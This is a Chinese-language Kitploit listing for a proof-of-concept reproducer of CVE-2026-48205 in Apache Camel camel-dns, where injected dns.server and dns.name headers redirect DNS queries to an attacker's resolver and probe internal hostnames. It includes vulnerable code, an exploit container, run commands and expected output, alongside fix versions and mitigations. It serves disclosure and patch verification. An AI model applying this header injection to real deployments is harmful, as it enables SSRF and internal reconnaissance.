Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-48205 — CVE-2026-48205 复现器:Apache Camel camel-dns 的 dns.* 标头注入会将 DNS 查询重定向到攻击者控制的解析器(通过 DNS 实现 SSRF),并支持内部主机名侦察(已在 4.14.8/4.18.3/4.21.0 中修复) | Kitploit
工具/GitHubGitHub/oscerd/cve-2026-48205
侦察漏洞分析漏洞利用Web应用程序漏洞利用DNS 分析
GitHuboscerd/cve-2026-48205

CVE-2026-48205

CVE-2026-48205 复现器:Apache Camel camel-dns 的 dns.* 标头注入会将 DNS 查询重定向到攻击者控制的解析器(通过 DNS 实现 SSRF),并支持内部主机名侦察(已在 4.14.8/4.18.3/4.21.0 中修复)

查看仓库
11141个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

camel-dns dns.* / term 头注入复现器 (CVE-2026-48205)

该项目演示了 Apache Camel camel-dns 组件中的一个消息头注入漏洞,跟踪编号为 CVE-2026-48205。DNS 生产者从 Exchange 头中读取其操作参数——要查询的解析器、要查找的名称/域名、记录类型/类别和搜索词——而这些头的常量值(DnsConstants.DNS_SERVER、DNS_NAME、DNS_DOMAIN、DNS_TYPE、DNS_CLASS、TERM)是纯字符串 dns.server、dns.name、dns.domain、dns.type、dns.class 和 term。由于这些名称不以 Camel / camel 前缀开头,HttpHeaderFilterStrategy——它只在 HTTP 边界阻止 Camel 头命名空间——会允许它们从入站 HTTP 请求直接进入 Exchange。

在将 HTTP 消费者(例如 platform-http)桥接到 dns: 生产者的路由中,任何 HTTP 客户端因此都可以设置 dns.server 头,使 dig 生产者构建一个指向攻击者控制的 DNS 服务器的 SimpleResolver —— 这是一种通过 DNS 进行的服务端请求伪造,攻击者借此可以观察到被查询的名称并返回伪造的响应——并且可以设置 dns.name / dns.domain 来解析任意内部主机名(内网侦察)。

公告:https://camel.apache.org/security/CVE-2026-48205.html

漏洞摘要

该修复将头重命名为 CamelDnsServer / CamelDnsName 等,因此它们会像其他 Camel 控制头一样在 HTTP 边界被过滤。与 CVE-2025-27636、CVE-2026-46454 和 CVE-2026-47323 属于同一系列。

技术细节

root@kitploit:~
// DnsConstants (affected 4.18.2) — the control-header names are bare, non-Camel-prefixed strings:
public static final String DNS_SERVER = "dns.server";
public static final String DNS_NAME   = "dns.name";

// DnsDigProducer.process (affected 4.18.2) — the resolver target comes straight from the header:
String server = exchange.getIn().getHeader(DnsConstants.DNS_SERVER, String.class);
SimpleResolver resolver = new SimpleResolver(server);        // <-- attacker-controlled DNS server
int type = Type.value(exchange.getIn().getHeader(DnsConstants.DNS_TYPE, String.class));
Name name = Name.fromString(exchange.getIn().getHeader(DnsConstants.DNS_NAME, String.class), Name.root);
// ... resolver.send(query) — the query goes to the attacker's server

修复(4.14.8 / 4.18.3 / 4.21.0,CAMEL-23574)将值重命名为 CamelDns* 约定。

受害路由

root@kitploit:~
from("platform-http:/lookup")
    .setHeader("dns.name", constant("example.com"))
    .setHeader("dns.type", constant("A"))
    .setHeader("dns.class", constant("IN"))
    .to("dns:dig");                                          // no dns.server -> default resolver (intended)

该路由使用默认解析器查询一个固定名称。攻击者只需添加一个 dns.server 头,查询就会被重定向到他们的 DNS 服务器。(dns.server 是小写的,因此可以经受住 Servlet 容器的头规范化——platform-http 就足够了。)

仓库结构

所有内容都在一个自包含容器中运行:受害路由、攻击者的伪造 DNS 服务器(UDP 53)和攻击者驱动程序。

root@kitploit:~
CVE-2026-48205/
├── pom.xml                 # camel-platform-http + camel-dns 4.18.2
├── Dockerfile
├── docker-compose.yml      # single self-contained service
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── FakeDnsServer.java     # attacker DNS server on UDP 53 (records the redirected query)
    │   ├── VictimRoute.java       # platform-http:/lookup -> dns:dig
    │   └── ExploitController.java # attacker: injects dns.server=127.0.0.1
    └── resources/
        └── application.properties

环境要求

  • Docker 和 Docker Compose(伪造 DNS 服务器绑定 UDP 53 端口,需要 root 权限——容器以 root 身份运行)
  • Java 17+ 和 Maven 3.8+(用于构建 jar)

复现步骤

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down

预期输出

root@kitploit:~
=== 1) Legitimate request (no dns.server header) — default resolver ===
  attacker's DNS server was queried: false

=== 2) Injected dns.server=127.0.0.1 (SSRF via DNS) ===
  attacker's DNS server was queried: true
  observed lookup name: example.com.

>>> Header-injection / SSRF proof — an unauthenticated HTTP client redirected the route's DNS
>>> query to an attacker-controlled server via the dns.server header: true

攻击者的 DNS 服务器现在会看到受害者的查询名称(并且可以返回伪造的应答)。将 dns.server 指向真实的内部 DNS 解析器,或将 dns.name 设置为内部主机名,即可实现对内部网络的侦察。

建议修复

升级到 4.14.8 / 4.18.3 / 4.21.0(CAMEL-23574)。升级后,通过头来驱动 DNS 操作的路由必须使用 CamelDnsServer / CamelDnsName 等。

缓解措施

在升级之前,在 dns: 生产者之前,从任何不受信任的入口剥离 dns.* 和 term 头,并在路由中从可信来源设置 DNS 服务器和查询参数。

免责声明

此复现器仅用于安全研究和授权测试,针对一个已公开披露并修复的漏洞。未经明确许可,请勿将其用于任何系统。

下载工具
属性值
组件camel-dns
受影响类org.apache.camel.component.dns.DnsDigProducer — new SimpleResolver(getHeader("dns.server"))
CWECWE-20(输入验证不恰当)/ CWE-918(服务端请求伪造)
影响将路由的 DNS 查询重定向到攻击者控制的服务器(观察名称、返回伪造的应答);枚举内部主机名
前提条件路由将 HTTP 消费者桥接到 dns: 生产者;当消费者未认证时可未授权利用
受影响版本4.0.0 至 4.14.8 之前,4.15.0 至 4.18.3 之前,4.19.0 至 4.21.0 之前
修复版本4.14.8、4.18.3、4.21.0
JIRACAMEL-23574(PR apache/camel#23411)
致谢Yu Bao(PayPal)